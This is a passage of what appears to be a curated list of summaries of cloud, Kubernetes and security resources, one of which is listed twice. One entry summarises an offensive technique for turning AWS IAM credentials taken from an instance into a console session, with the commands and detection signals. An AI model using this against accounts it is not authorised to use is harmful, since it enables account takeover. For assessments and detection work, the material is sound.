    • Publisher: Microsoft Security Response Center (MSRC). The playlist description reads “BlueHat 2023 Conference, Feb 8-9 2023, Redmond WA”.
    • Size: A third-party blog (kurtsh.com, March 2023) says the playlist has 21 session recordings.
    • Speakers: MSRC’s announcement lists 27 security thought leaders, with keynotes by Charlie Bell, Mark Russinovich and Aanchal Gupta. Not every session appears in the playlist.
    • Not to confuse: MSRC also ran a separate BlueHat in October 2023.
    • Source caveat: YouTube served only the playlist title and description to scripted requests, so individual video titles could not be listed. Details come from search results (the MSRC blog and kurtsh.com).

    Takeaway: Worth browsing for Microsoft-ecosystem security research. Pick talks from MSRC’s BlueHat 2023 blog post, since the playlist itself has no agenda.

  • DevSecOps: Collection and Roadmap for Everyone Who Wants DevSecOps
    summary

    TL;DR: hahwul/DevSecOps is a community-maintained roadmap and curated link collection for learning and putting DevSecOps into practice, organized by SDLC phase.

    • Structure: A visual roadmap image, a Tools section (SAST, DAST, secret management, threat modeling and more), and Resources by phase: Overview, Design, Develop, Build, Test, Deploy, Operate and Monitor.
    • Test phase examples: ZAP with GitHub Actions, GitLab DAST, Nuclei as a GitHub Action, and OWASP DevSecOps Verification Standard DAST levels.
    • Deploy phase examples: CIS Benchmarks and Kubernetes DevSecOps guidance.
    • Extras: A dedicated “Security of CICD” section, plus awesome lists and other roadmaps.
    • Usage guidance: The README says you can jump to any section rather than reading it front to back. Contributions are welcome.

    Takeaway: A good starting index for building a DevSecOps learning plan or picking tools per pipeline stage. Check link freshness, since curated lists go stale.

  • noseyparker: Find Secrets and Sensitive Information in Textual Data and Git History
    summary

    TL;DR: Nosey Parker is Praetorian’s Rust CLI for finding secrets in files, directories, GitHub and Git history. It is now officially retired and replaced by Praetorian’s Titus, and the repo is archived.

    • Rules: 188 high-precision regex rules tuned with feedback from security engineers.
    • Noise reduction: Deduplicates matches of the same secret, cutting review work by 10-1000x or more, per the README.
    • Performance: Scans at GB/s on multicore systems and has handled inputs up to 20 TB in engagements.
    • Workflow: scan, then report, then triage. Install with brew install noseyparker or ghcr.io/praetorian-inc/noseyparker.
    • Platforms: Linux and macOS on x86_64 and aarch64. No native Windows build; WSL1 works.
    • Repo status: Archived April 24, 2026. The README points to praetorian-inc/titus as the successor.

    Takeaway: Do not adopt Nosey Parker for new pipelines. Evaluate Titus, or alternatives such as gitleaks or TruffleHog, and keep its dedup-first triage idea.

  • Temporary Policy Exceptions in Kubernetes with Kyverno
    summary

    TL;DR: A CNCF guest post by Chip Zoller (Nirmata) showing how to make Kyverno 1.9 Policy Exceptions expire automatically by combining them with cleanup policies.

    • Policy Exceptions: New alpha feature in Kyverno 1.9 that decouples exclusions from the policy itself, so a separate team can request an exception without editing the policy.
    • Enabling: Must be turned on with a flag; --exceptionNamespace restricts where exceptions can be created, otherwise they are cluster-wide. Gate creation with RBAC at minimum.
    • Validate the exceptions: Since a PolicyException is a custom resource, Kyverno validate rules can stop overly broad exceptions (e.g. exempting all Pods).
    • Expiry mechanism: A generate rule creates a ClusterCleanupPolicy when an exception appears, scheduled with cron, which deletes the exception after four hours in the example.
    • RBAC: Extra ClusterRoles (via aggregation) let Kyverno create clustercleanuppolicies and let the cleanup controller list and delete policyexceptions.

    Takeaway: Useful pattern for break-glass exceptions, such as a troubleshooting Pod needing host namespaces. Check current Kyverno docs, as these features were alpha in 1.9.

  • Security Certification Roadmap
    summary

    TL;DR: Paul Jerimy’s Security Certification Roadmap is a large chart of security certifications arranged by domain and by level from beginner to expert, often used to plan certification paths.

    • Domains: Columns include Communication and Network Security, IAM, Security Architecture and Engineering, Asset Security, Security and Risk Management, Assessment and Testing, Software Security and Security Operations.
    • Sub-tracks: Cloud/SysOps, *nix, ICS/IoT, GRC, Forensics, Incident Handling, Penetration Testing and Exploitation.
    • Scale: “481 certifications listed | July 2024”, so the page has been updated well past 2023.
    • Range: From entry level (e.g. Security+, eJPT, SC-900) up to expert level (OSEE, CCIE Security, GSE, CISSP concentrations).
    • Project status: The author’s July 2024 update says a JavaScript web app version is in progress. Prints are sold to fund hosting, with an affiliate disclosure.

    Takeaway: Use it to see where a certification sits relative to others in your target domain. Treat the placement as one practitioner’s opinion, not an industry standard.

  • Create a Console Session from IAM Credentials
    summary

    TL;DR: A Hacking The Cloud technique page by Nick Frichette showing how to turn AWS IAM credentials into an AWS Management Console session, mainly with aws-vault.

    • Temporary keys: With ASIA... credentials (for example from an EC2 instance) no extra IAM permissions are needed; run aws-vault login.
    • Long-term keys: With AKIA... credentials you need sts:GetFederationToken or sts:AssumeRole to mint temporary credentials first, e.g. aws sts get-federation-token --name blah.
    • Link only: The -s flag prints the console sign-in URL to stdout instead of opening a browser.
    • Related tools: aws_consoler and Pacu are listed as alternatives.
    • Detection: The page warns this is noisy: a ConsoleLogin CloudTrail event, an odd user-agent (a CI/CD role suddenly using Firefox) and a large volume of CloudTrail logs.
    • In the wild: It cites a CrowdStrike report on an intrusion campaign against telco and BPO companies that used this technique.

    Takeaway: Useful during assessments when the console is faster than the CLI. Defenders should alert on ConsoleLogin events from role sessions that normally only use the API.

  • Vault 1.13 Adds Kubernetes Operator, MFA Improvements, and More
    summary

    TL;DR: HashiCorp’s March 2023 announcement of Vault 1.13 GA, headlined by the Vault Secrets Operator beta for Kubernetes plus MFA, Agent and PKI improvements.

    • Vault Secrets Operator (beta): Syncs Vault secrets natively into Kubernetes Secrets without sidecars or the CSI provider; it was not shipped at GA and was scheduled for late March.
    • Vault Agent: One Agent can fetch secrets from multiple namespaces, read config from multiple files, expose a metrics-only listener role, and run without auth methods (testing only).
    • MFA: Login MFA providers can be referenced by name instead of UUID, and passcode handling is consistent across CLI and API.
    • Auth and secrets engines: Azure auth works from Azure Functions and App Service and gains rotate-root; the Google Cloud secrets engine can use service account impersonation to avoid Google’s 10-key limit.
    • PKI: Cross-cluster CRL and OCSP revocation for shared PKI mounts, and new CLI health checks for CA, CRL validity, roles and unsafe parameters.
    • Crypto: KMIP adds PKCS#11 operations (sign/verify, RNG, MAC); managed Transit keys can offload operations to an HSM or cloud KMS.
    • Alpha/preview: Event-based notifications over a WebSocket API (alpha) and an HCP link for self-managed clusters (private beta).

    Takeaway: The Secrets Operator is the main reason to look at 1.13 if you run Vault with Kubernetes. Check the current operator docs, since it was beta at this release.

  • ssm-helpers: Help Manage AWS Systems Manager with Helpers
    summary

    TL;DR: ssm-helpers is a Go CLI from Disney Streaming that wraps AWS Systems Manager for interactive sessions and fleet-wide command runs.

    • ssm session: Interactive shell on an instance through Session Manager, positioned as an ssh and cssh replacement.
    • ssm run: Runs a command on many instances selected by tags or names, positioned as a replacement for mco and knife.
    • Install: brew install disneystreaming/tap/ssm-helpers, Docker images on the GitHub package registry, or release binaries for Windows, macOS and Linux.
    • Docker tip: The README uses --detach-keys 'ctrl-e,e' so session detach keys do not clash with tmux.
    • Internals: Written in Go with aws-sdk-go and a fork of gomux; the older go-ssmhelpers library was merged in.

    Takeaway: A practical way to drop SSH keys and bastions in favor of SSM while keeping multi-host ergonomics. Check how recently it was maintained before adopting.

  • cloudlist: Tool for Listing Assets from Multiple Cloud Providers
    summary

    TL;DR: cloudlist is a ProjectDiscovery Go tool that lists assets (hosts, IPs, services) from many cloud providers into one inventory for attack surface management.

    • Purpose: Aimed at blue teams to keep a centralized list of assets across clouds with little configuration.
    • Providers: AWS, GCP, Azure, Kubernetes, DigitalOcean, Cloudflare, Fastly, Heroku, Hetzner, Linode, Scaleway, OpenStack, Alibaba, Namecheap, Consul, Nomad, Terraform state and custom sources.
    • Services: Covers things like ec2, eks, ecs, lambda, s3, route53, elb/alb, cloudfront, gke, cloud-run and apigateway.
    • Auth: Keyless support (AWS IRSA and instance profiles, GCP workload identity); -ad auto-discovers providers from environment credentials.
    • Output: -host or -ip only, -json, -o file, -silent for piping into other ProjectDiscovery tools; -ep excludes private IPs.
    • Config: Provider credentials live in ~/.config/cloudlist/provider-config.yaml.

    Takeaway: A cheap starting point for an external asset inventory. Pipe its output into scanners such as httpx or nuclei for continuous checks.

  • What Are AWS Managed Policies?
    summary

    TL;DR: The landing page of the AWS Managed Policy Reference Guide, explaining what AWS managed policies are and how each policy’s reference page is structured.

    • Definition: Standalone policies created and maintained by AWS for common use cases; you cannot edit their permissions.
    • Least privilege caveat: AWS states they may not be least privilege for your case and recommends narrower customer managed policies.
    • Updates: When AWS changes a managed policy, every attached user, group and role is affected; changes usually follow new services or API operations.
    • Policy types: Standard AWS managed, job function, service-linked role (e.g. AmazonRDSPreviewServiceRolePolicy) and service role (e.g. AWSControlTowerServiceRolePolicy) policies.
    • Reference page contents: Attachability, type, creation and edit time, ARN, policy version and the full JSON document.
    • Deprecation: AWS can deprecate managed policies; the guide tracks deprecated ones.

    Takeaway: Use the reference to read the actual JSON before attaching a managed policy. Watch policy versions, because AWS-side changes can silently widen access.

  • Modern Data Protection Architecture on Amazon S3: Part 1
    summary

    TL;DR: Part 1 of an AWS Storage Blog series (February 2023) on keeping immutable copies of critical S3 data in an isolated second account using S3 Replication and Object Lock.

    • Replication: Same-Region Replication to a bucket in another account; S3 Batch Replication covers existing objects. Replicate only business-critical data to limit cost.
    • Object Lock: WORM retention; Governance mode can be bypassed with special permissions, Compliance mode cannot be changed even by root. The demo uses Governance for 7 days and recommends Compliance with 7, 15 or 30 days in production.
    • Encryption: SSE-KMS with S3 Bucket Keys and separate customer managed KMS keys per account; the post says Bucket Keys can cut SSE-KMS request costs by up to 99%.
    • Bucket hardening: Versioning on, ACLs disabled, public access blocked; replicas land in S3 Intelligent-Tiering.
    • Automated response: A CloudWatch alarm on abnormal PutRequests triggers EventBridge and a Lambda that stops replication during suspected ransomware.
    • Update: Since November 20, 2023, Object Lock can be enabled on existing buckets.
    • Caveat: Compliance-mode replicas cannot be deleted before retention ends, which adds storage cost.

    Takeaway: A native, low-tooling ransomware defense for S3. Pair it with Part 2’s retrieval process and test restores.

  • Disaster Recovery When Using Crossplane for Infrastructure Provisioning on AWS
    summary

    TL;DR: An AWS Open Source Blog post (March 2023), written with input from Autodesk, DKB, Nike and Upbound, on disaster recovery when AWS infrastructure is managed by Crossplane on EKS, using Velero for backups.

    • Cluster loss: Velero backs up Crossplane composite, sub- and managed resources and restores them into a new cluster, preserving owner references, states and external names.
    • Backup procedure: Scale the AWS provider deployment to zero before backup so it does not reconcile, then scale it back up after restore.
    • Restore pitfalls: Do not overwrite the aws-auth ConfigMap, pause GitOps sync so Git does not clobber restored objects, and back up ProviderConfig objects and their secrets.
    • Provider upgrade failure: Roll back to the previous ProviderRevision; fall back to Velero migration if that fails.
    • Region impairment: Managed resources carry a required region field, so manifests must be rewritten (ideally with a mutating webhook) and stateful data restored from snapshots or replicas.
    • Regional differences: It notes us-west-2 has 4 AZs and us-east-1 has 6, so compositions may need per-region variants.

    Takeaway: A Crossplane control cluster becomes critical infrastructure. Plan and rehearse its backup and restore like any other DR target.

  • 73,000 Pods a Day: Lessons from Misadventures in Multi-Tenant
    summary

    TL;DR: A CNCF-uploaded KubeCon session (about 37 minutes, published November 2022) by Shane Corbett (AWS) and Wil Reed (Acquia) on lessons from running a large multi-tenant Kubernetes platform.

    • Scale: The title refers to 73,000 pods a day on a multi-tenant application.
    • Research effort: The speakers say they spent over two years studying Linux kernel performance material, tuning obscure control plane settings and building custom monitoring dashboards.
    • Core claim: There is a large gap between CKA-level training and what it takes to run large multi-tenant workloads in production.
    • Best practices questioned: They present evidence that some practices they believed were best practices were what held them back most.
    • Related work: Shane Corbett also wrote the AWS post on CPU limits and throttling in this archive, which covers similar ground.
    • Source caveat: Summary based on the YouTube title and description only, not the full talk.

    Takeaway: Worth watching if you run shared clusters at scale. Pair it with the CPU limits post for the concrete metrics.

  • Using Prometheus to Avoid Disasters with Kubernetes CPU Limits
    summary

    TL;DR: An AWS Containers Blog post by Shane Corbett (September 2022) explaining that Kubernetes CPU limits are CFS time quotas, not cores, and how to use cAdvisor/Prometheus metrics to size them and spot throttling.

    • Mechanics: A 1000m limit means one CPU-second per second, enforced per 100 ms period; a 500m limit showed a 50 ms cpu.cfs_quota_us.
    • Multi-thread trap: A 1-core limit across four busy threads gives each 25 ms per 100 ms period, so they lose 300 ms per period to throttling.
    • Latency example: A 100 ms single-threaded task with a 400m limit took 220 ms and was throttled in two of three periods.
    • Metrics: container_cpu_cfs_throttled_periods_total vs container_cpu_cfs_periods_total, container_cpu_cfs_throttled_seconds_total, container_cpu_usage_seconds_total.
    • PromQL: topk(3, max by (pod, container)(rate(container_cpu_cfs_throttled_seconds_total{image!=""}[$__rate_interval]))) / 10 gives throttled time per period.
    • Sizing rule: Multiply per-period throttle by 10 to estimate extra limit needed (200 ms becomes 2000m).
    • Caveats: Bursty, latency-sensitive apps are poor candidates for limits; cpu.cfs_burst_us was not yet available in Kubernetes when written.

    Takeaway: Graph throttled seconds before trusting a limit that looks generous. Treat limits as a safety net, not a sizing tool.

  • Why and When Do You Need Argo CD?
    summary

    TL;DR: An mkdev article by Kirill Shirinkin (2023) arguing that Argo CD suits multi-cluster platforms run by strong Kubernetes teams, and is often unnecessary complexity for simple app deployment.

    • Scope: Argo CD only syncs Kubernetes manifests; it is not a job runner like GitHub Actions or Jenkins, so it cannot lint, build or test.
    • Good fit: Many clusters, many operators (monitoring, ingress, secrets) and multi-tenancy with RBAC and SSO.
    • Poor fit: A handful of apps across dev, stage and prod, or small teams where developers also run the cluster.
    • Prerequisites: Working CI that tests, packages and pushes images; teams with a well-understood deploy tool should extend it instead.
    • Image version problem: Code-only changes do not trigger syncs; fixes are writing the image version to Git or using Argo CD Image Updater (pre-1.0 at the time).
    • Repo layout: A separate config repo updated by CI is called best practice for pull-based GitOps, at the cost of more repos and pipeline complexity.
    • Alternatives: Flux CD and Rancher Fleet fit the same reasoning.

    Takeaway: Adopt Argo CD for platform-level fleet management, not because GitOps is fashionable. Settle the image-promotion flow before rollout.

  • Kubernetes PR: In-Place Pod Vertical Scaling Feature
    summary

    TL;DR: The Kubernetes pull request by vinaykul that implements in-place Pod vertical scaling (KEP 1287), opened June 2021 and merged for the v1.27 milestone.

    • Feature: Container resources become mutable for cpu and memory, so a pod can be resized without restart.
    • New fields: Per-container resizePolicy, allocatedResources and resources in container status, and a pod-level resize status (InProgress, Deferred, Infeasible).
    • Scope: API changes, CRI API changes, core kubelet implementation and E2E tests (test/e2e/node/pod_resize.go).
    • Feature gate: Linked issues refer to InPlacePodVerticalScaling.
    • History: The PR sat on hold for long periods with multiple rounds of requested changes before merge.
    • Follow-ups: Linked fixes include renaming ResourcesAllocated to AllocatedResources (#116450), missing ResizePolicy validation (#116854) and flaky CI on low-CPU systems (#116371).

    Takeaway: This is the origin of pod resize without restart. Check the current feature state for your Kubernetes version before relying on it, since it began as alpha behind a feature gate.

  • Terraform on AWS EKS Kubernetes IaC SRE: 50 Real-World Demos
    summary

    (Could not fetch full text.)

    TL;DR: A paid Udemy course on provisioning and running Amazon EKS with Terraform through a long series of hands-on demos.

    • Networking: Builds a 3-tier VPC as the base for the cluster.
    • Cluster: EKS cluster with public and private node groups.
    • Identity: IAM Roles for Service Accounts (IRSA) implementation.
    • Add-ons: AWS Load Balancer Controller, Fargate profiles, autoscaling, and EKS monitoring and logging.
    • Level: Course notes say no prior Terraform knowledge is needed; an AWS account is required.
    • Demo count: A Class Central listing states 55 demos, more than the 50 in the title, so the course has likely been revised.
    • Source caveat: Udemy blocked automated access (HTTP 403); summary is based on a Class Central listing and a GitHub mirror of course notes found via search.

    Takeaway: A structured path from Terraform basics to a production-style EKS setup. Expect real AWS charges while following the demos.

  • ouch: Painless Compression and Decompression for Your Terminal
    summary

    TL;DR: ouch (Obvious Unified Compression Helper) is a Rust CLI that compresses, decompresses and lists archives in many formats with one consistent interface.

    • Commands: ouch decompress (d), ouch compress (c) and ouch list (l/ls).
    • Format detection: Infers formats from extensions, e.g. ouch compress one.txt two.txt archive.zip; falls back to file signatures and asks for confirmation when there is no extension.
    • Formats: .tar, .zip, .7z, .gz, .sz, .zst, .xz, .lzma, .lz, .bz2, .bz3, .lz4, .br, plus .rar for decompression and listing only (license limits).
    • Chaining: Stacked extensions like .tar.gz.xz.zst work; gz, sz and zst compression run in parallel.
    • Extras: --dir output directory, stdin input with - and --format, ouch list --tree --show-size, no runtime dependencies, accessibility mode, shell completions.
    • Caveat: zip and 7z cannot be streamed due to format limits.

    Takeaway: Replaces remembering tar, unzip and 7z flags with one command. Build without the unrar feature if you need a fully free build.

  • devdocs: API Documentation Browser
    summary

    TL;DR: DevDocs, created by Thibaut Courouble and run by freeCodeCamp, combines many API documentation sets into one fast web UI with instant search and offline support.

    • Hosted: Recommended use is devdocs.io, which works offline out of the box.
    • Self-host: docker run --name devdocs -d -p 9292:9292 ghcr.io/freecodecamp/devdocs:latest (an -alpine variant exists); images rebuild monthly with fresh docs.
    • Architecture: A Ruby scraper generates documentation and metadata, and a JavaScript app is served by a small Sinatra app.
    • Features: Instant search, mobile version, dark theme and keyboard shortcuts.
    • Maintenance: The README says the project is looking for maintainers.

    Takeaway: Handy for offline or air-gapped work. Run the Docker image locally if you need docs without internet access.

  • crawlee: Web Scraping and Browser Automation Library for Node.js
    summary

    TL;DR: Crawlee is Apify’s open-source Node.js/TypeScript library for building web scrapers and browser automation, with one interface over HTTP and headless browsers.

    • Crawlers: Works with Playwright, Puppeteer, Cheerio, JSDOM and raw HTTP, headful or headless.
    • Quick start: npx crawlee create my-crawler, or npm install crawlee playwright and use PlaywrightCrawler with enqueueLinks() and Dataset.pushData().
    • Core features: Persistent URL queue (breadth or depth first), pluggable storage for tabular data and files, autoscaling to system resources.
    • Anti-blocking: Integrated proxy rotation and session management; the README claims human-like behavior that avoids modern bot protection by default.
    • Storage: Defaults to ./storage in the working directory.
    • Current state: Now requires Node.js 22.13+, and a Python version also exists.

    Takeaway: A batteries-included choice when a scraper needs queues, retries and proxies. Respect target sites’ terms and rate limits.

  • mountpoint-s3: High-Throughput File Client for Mounting an Amazon S3 Bucket as a Local File System
    summary

    TL;DR: Mountpoint for Amazon S3 is an AWS open-source file client (now GA) that mounts an S3 bucket as a local file system and translates file operations into S3 API calls.

    • Best fit: High-throughput reads of large objects, possibly from many clients, and sequential writes of new objects from a single client.
    • Poor fit: Directory renames, symlinks and editing existing files; the README jokes not to run your Git repo or vim on it.
    • POSIX: Not fully POSIX; a separate file system behavior doc lists differences.
    • Install: sudo dnf install mount-s3 on Amazon Linux 2023, or .rpm/.deb packages from the release bucket for x86_64 or arm64.
    • Usage: mount-s3 <bucket> /path/to/mount, using instance role or standard AWS credentials.
    • Kubernetes: A Mountpoint for Amazon S3 CSI driver is available.

    Takeaway: Good for read-heavy analytics and ML data loading without copying data locally. Do not treat it as a general-purpose shared file system.

  • codeql: Libraries and Queries Powering Code Scanning in GitHub Advanced Security
    summary

    TL;DR: The open-source repository of standard CodeQL libraries and queries that power GitHub code scanning and GitHub Advanced Security.

    • Contents: Standard QL libraries and security and quality queries; contributions of new checks are welcome via pull requests.
    • Learning: Points to docs for the CodeQL language, the VS Code extension and the CodeQL CLI.
    • License: Queries and libraries are MIT; the CodeQL CLI and engine live elsewhere under a separate license.
    • Commercial caveat: Analyzing closed-source code with the CLI requires a separate commercial license.
    • Tooling: The CodeQL for VS Code extension adds syntax highlighting, IntelliSense and unit test support for queries.

    Takeaway: Read these queries to understand what code scanning flags. Mind the license if you plan to run CodeQL on private code outside GitHub.

  • cloudlist: Tool for Listing Assets from Multiple Cloud Providers
    summary

    TL;DR: cloudlist is a ProjectDiscovery Go tool that lists assets (hosts, IPs, services) from many cloud providers into one inventory for attack surface management.

    • Purpose: Aimed at blue teams to keep a centralized list of assets across clouds with little configuration.
    • Providers: AWS, GCP, Azure, Kubernetes, DigitalOcean, Cloudflare, Fastly, Heroku, Hetzner, Linode, Scaleway, OpenStack, Alibaba, Namecheap, Consul, Nomad, Terraform state and custom sources.
    • Services: Covers things like ec2, eks, ecs, lambda, s3, route53, elb/alb, cloudfront, gke, cloud-run and apigateway.
    • Auth: Keyless support (AWS IRSA and instance profiles, GCP workload identity); -ad auto-discovers providers from environment credentials.
    • Output: -host or -ip only, -json, -o file, -silent for piping into other ProjectDiscovery tools; -ep excludes private IPs.
    • Config: Provider credentials live in ~/.config/cloudlist/provider-config.yaml.

    Takeaway: A cheap starting point for an external asset inventory. Pipe its output into scanners such as httpx or nuclei for continuous checks.

  • How to Use Policies to Restrict Where EC2 Instance Credentials Can Be Used From
    summary

    TL;DR: An AWS Security Blog post (March 2023) introducing two global condition keys that let SCPs and policies restrict EC2 instance role credentials to the instance they were issued to.

    • New keys: aws:EC2InstanceSourceVPC (instance VPC ID) and aws:EC2InstanceSourcePrivateIPv4 (primary private IP), populated automatically for instance credentials.
    • Comparison: Policies compare them with aws:SourceVpc and aws:VpcSourceIp, which are only set for requests through VPC endpoints.
    • SCP pattern: Two Deny statements (VPC and IP). The VPC check works alone; the IP check should never be used alone since private IPs repeat.
    • Scoping: ec2:SourceInstanceARN with a Null check targets instance roles; aws:ViaAWSService and an aws:ec2-infrastructure exception keep services and EBS/KMS working.
    • Exceptions: A principal tag (exception-to-vpc-ip) or NotAction (e.g. iam:*).
    • Caveats: Requests not made via VPC endpoints are denied; a 2025 update notes actions such as EFS ClientMount do not use VPC endpoints and break.

    Takeaway: A strong control against stolen instance credentials being used elsewhere. Roll it out only after you have VPC endpoints for the services your instances call.

  • From Pod Security Policies to Pod Security Standards: A Migration Guide
    summary

    TL;DR: A Wiz blog guide (March 2023) on migrating from PodSecurityPolicy, removed in Kubernetes 1.25, to Pod Security Admission and the Pod Security Standards.

    • Levels: privileged, baseline and restricted, assigned per namespace via labels.
    • Dry run: kubectl label ns <ns> pod-security.kubernetes.io/enforce=<level> --dry-run=server lists violating pods as warnings.
    • Two-stage rollout: Apply warn and audit modes first, then switch to enforce with kubectl label --overwrite.
    • Verification: kubectl describe ns <ns> | grep pod-security.
    • Problem workloads: Split namespaces, add exemptions (users, RuntimeClassName, namespaces) or label explicitly as privileged rather than leaving unlabeled.
    • Caveats: Images built to run as root are only caught at container start; completed pods can block labeling; PSP and PSA can coexist only up to 1.24.
    • Research note: Wiz reports PSA adoption lagged earlier PSP usage in environments it saw.

    Takeaway: Label every namespace explicitly and start in warn/audit mode. Do this before any upgrade past 1.24.

  • The One-and-Only, Must-Have, Eternal Go Project Layout
    summary

    TL;DR: Christoph Berger (Applied Go) argues there is no standard Go project layout and that structure should follow the project’s needs, not a template.

    • Moved: The URL now redirects to learn.appliedgo.net/blog/go-project-layout.
    • Directories the toolchain cares about: internal/ (not importable outside the module), testdata/ and names starting with . or _ (ignored), and vendor/ (used by go mod vendor).
    • Naming: Avoid grab-bag packages like util, models, helpers; group by responsibility; skip a src directory.
    • Examples: A small CLI in one root directory; a library with sub-packages; library plus tool with a cmd/ directory.
    • golang-standards/project-layout: Called self-proclaimed and not an official standard.
    • pkg debate: Lists voices for and against; the author suggests skipping pkg for libraries and small projects.
    • Further reading: Ben Johnson’s Standard Package Layout and the Go team’s older Organizing Go code post.

    Takeaway: Start flat and add internal/ and cmd/ only when needed. Do not copy a layout repo wholesale.

  • revive: Fast, Configurable, Extensible Drop-In Replacement for golint
    summary

    TL;DR: revive by Minko Gechev is an MIT-licensed, configurable Go linter and drop-in replacement for golint, with a framework for custom rules.

    • Speed: About 2x faster than golint on the same rules and over 6x with typed rules off. On Kubernetes: golint about 55 s, revive about 8.5 s without type checking, about 26 s with it.
    • Rules: Roughly 105 rules, marked by golint origin and whether they need type info.
    • Config: TOML via -config; enable or disable rules, set severity and arguments, for example [rule.cyclomatic] with arguments = [10].
    • Output: Nine formatters including friendly, stylish, json, ndjson, checkstyle and sarif.
    • Install: go install github.com/mgechev/revive@latest, Homebrew, Docker or binaries.
    • golangci-lint: Available as the revive linter, configured under linters.settings.revive in YAML or JSON.

    Takeaway: If you still run golint (deprecated), revive is the direct replacement. Most teams will use it via golangci-lint and tune rules there.

  • Taskfile v3.22.0: Support for Global Tasks
    summary

    TL;DR: Release notes for Task (go-task) v3.22.0, published March 10, 2023, whose headline change is support for a global Taskfile.

    • Global tasks: New --global / -g flag runs the Taskfile from your $HOME directory, so personal automation works from anywhere (#1029).
    • Output: group output mode gains error_only: true, printing command output only on non-zero exit (#664, #1022).
    • Fix: .task/checksum was not always created when a task also declared status: (#840).
    • Fix: Deadlock with run: once resolved (#715).
    • Refactor: Fingerprinting decoupled from the main executor (#1039).

    Takeaway: task -g makes Task usable as a personal command runner. error_only is a nice way to quiet CI logs.

  • Intro to Kubernetes: Containers at Scale, Illustrated
    summary

    TL;DR: An illustrated beginner introduction to Kubernetes by Kaslin Fields (March 2023), from her Containerized Adventures comics series, built on a cookie-business analogy.

    • Containers: Explained as packaging that bundles an app with its dependencies, isolated with cgroups and namespaces.
    • Control plane: The headquarters: kube-apiserver, etcd as source of truth, kube-scheduler and controller managers.
    • Nodes: Warehouses running kubelet, a container runtime and kube-proxy.
    • Pods: The smallest unit; sidecars share IP and storage.
    • Workload controllers: Deployment, StatefulSet, DaemonSet, Job and CronJob, each with its use case.
    • Scheduling and networking: Labels, nodeSelector, affinity and anti-affinity; ClusterIP, NodePort and LoadBalancer Services; Ingress noted as being overtaken by the Gateway API.

    Takeaway: A good link to hand to newcomers or non-engineers. It explains the moving parts without assuming prior container knowledge.

  • Building ClickHouse Cloud from Scratch in a Year
    summary

    TL;DR: ClickHouse’s March 2023 engineering write-up on building ClickHouse Cloud, a serverless managed service, in under a year.

    • Timeline: Private Preview in May (over 50 invited users, free), Public Beta in October, GA in December.
    • Storage: Shared-everything design with separated storage and compute; S3-style object storage is primary, local disks only cache.
    • Planes: Control plane and data plane talk only through a bidirectional REST API; events flow via SQS or Google Pub/Sub.
    • Platform: Managed Kubernetes (EKS on AWS), Cilium for networking, and a shared Istio/Envoy ingress replacing per-service NLBs that hit account quotas.
    • Scaling: An idler suspends unused services (modeled on Knative’s activator) and a scaler recomputes allocations every 30 minutes.
    • Availability: Production pods spread across 3 AZs, development across 2; cellular data plane architecture.
    • Billing and lessons: Per-minute compute and 15-minute storage metering via m3ter and Stripe; they found 1 PB of junk from failed multipart uploads, fixed with TTLs.

    Takeaway: A detailed reference architecture for SaaS on Kubernetes. The multipart-upload cleanup lesson applies to any heavy S3 user.

  • Monitoring Kubernetes Clusters on GKE (Google Container Engine)
    summary

    TL;DR: A March 2019 Google Cloud Community article by Ariel Peretz on planning logging and monitoring for GKE clusters with Stackdriver and related tools.

    • Layers: Covers monitoring at the GCP compute, cluster node, pod and application-metric levels.
    • Process: Decide what to monitor (framed with SLIs and SLOs), plan a logging architecture, review clusters to ensure logging is enabled, then implement.
    • Advice: Avoid monitoring everything; monitoring too much is as risky as too little.
    • Tools: Stackdriver as the single pane of glass, Prometheus, kube-state-metrics and OpenCensus.
    • Internals: kubelet’s embedded cAdvisor, Heapster as the cluster metrics repository, prometheus-to-sd-exporter forwarding Prometheus metrics, and metrics-server.
    • Dated content: Stackdriver is now Cloud Monitoring and Heapster is long retired, so the tooling details are historical.
    • Source caveat: Medium blocked direct access; summarized from a Wayback Machine copy of the article.

    Takeaway: The planning advice (SLO-driven, monitor just enough) still holds. Use current Cloud Monitoring and Managed Prometheus docs for implementation.

  • Kubernetes: Forensic Container Analysis
    summary

    TL;DR: A Kubernetes blog post by Adrian Reber (Red Hat, March 2023) showing how to analyze a checkpoint taken with the alpha forensic container checkpointing feature.

    • Creating a checkpoint: curl -X POST https://localhost:10250/checkpoint/<ns>/<pod>/<container> on the node, using kubelet client certs; output lands in /var/lib/kubelet/checkpoints/.
    • Overview: checkpointctl show checkpoint.tar --print-stats shows image, runtime (CRI-O), checkpoint size and CRIU dump stats.
    • Archive layout: rootfs-diff.tar (changed files), checkpoint/ (CRIU images), config.dump, spec.dump, dump.log, stats-dump.
    • Process analysis: crit show checkpoint/pstree.img and core-*.img reveal process tree and names from inside the PID namespace.
    • Memory: grep -ao across checkpoint/pages-*.img found a secret string held in memory.
    • gdb: CRIU’s coredump script converts checkpoints to core files for gdb.
    • Caveat: Anyone with the checkpoint archive can read all process memory, and the feature was alpha.

    Takeaway: Checkpointing gives incident responders a memory and filesystem snapshot without stopping the container. Protect checkpoint archives like secrets.

  • awesome-detection-rules: Collection of Threat Detection Rules and Rules Engines
    summary

    TL;DR: A curated list by jatrost of public threat detection rule repositories and rules engines, grouped by rule language.

    • YARA: Dozens of sources including Elastic protections-artifacts, Neo23x0 signature-base, ESET malware-ioc, Mandiant red team countermeasures, ReversingLabs and Yara-Rules.
    • Sigma: Collections such as the Center for Threat-Informed Defense cloud analytics and LOLDrivers detections.
    • Network and runtime: Sections for Falco, Zeek and Suricata.
    • SIEM and query languages: Splunk, KQL and MQL sections.
    • Other: Nuclei templates and a catch-all section.

    Takeaway: A good starting index when building or benchmarking detection content. Review and test any third-party rule before deploying it.

  • Passwordless Authentication Made Easy with Cognito: A Step-by-Step Guide
    summary

    TL;DR: Yan Cui (theburningmonk, March 2023) shows how to build email one-time-code passwordless login on Amazon Cognito, which does not support passwordless out of the box.

    • Triggers: DefineAuthChallenge decides the next step, CreateAuthChallenge generates and emails the code, VerifyAuthChallengeResponse checks it; PreSignUp auto-confirms users.
    • Email: Sent via Amazon SES, which needs a verified domain identity.
    • Code: 6 characters generated in CreateAuthChallenge.
    • Retries: The code is kept in challengeMetadata because privateChallengeParameters is not passed back on retries; remaining attempts are surfaced via publicChallengeParameters.
    • Attempt cap: A MAX_ATTEMPTS constant fails auth after too many wrong answers.
    • Password workaround: The pool still requires a password, so the frontend generates a random 16-character one users never see.
    • Code: Demo plus Serverless Framework backend and Vue 3 frontend repos; the post does not cover code expiry.

    Takeaway: A working blueprint for Cognito custom auth flows. Add expiry and rate limiting before production.

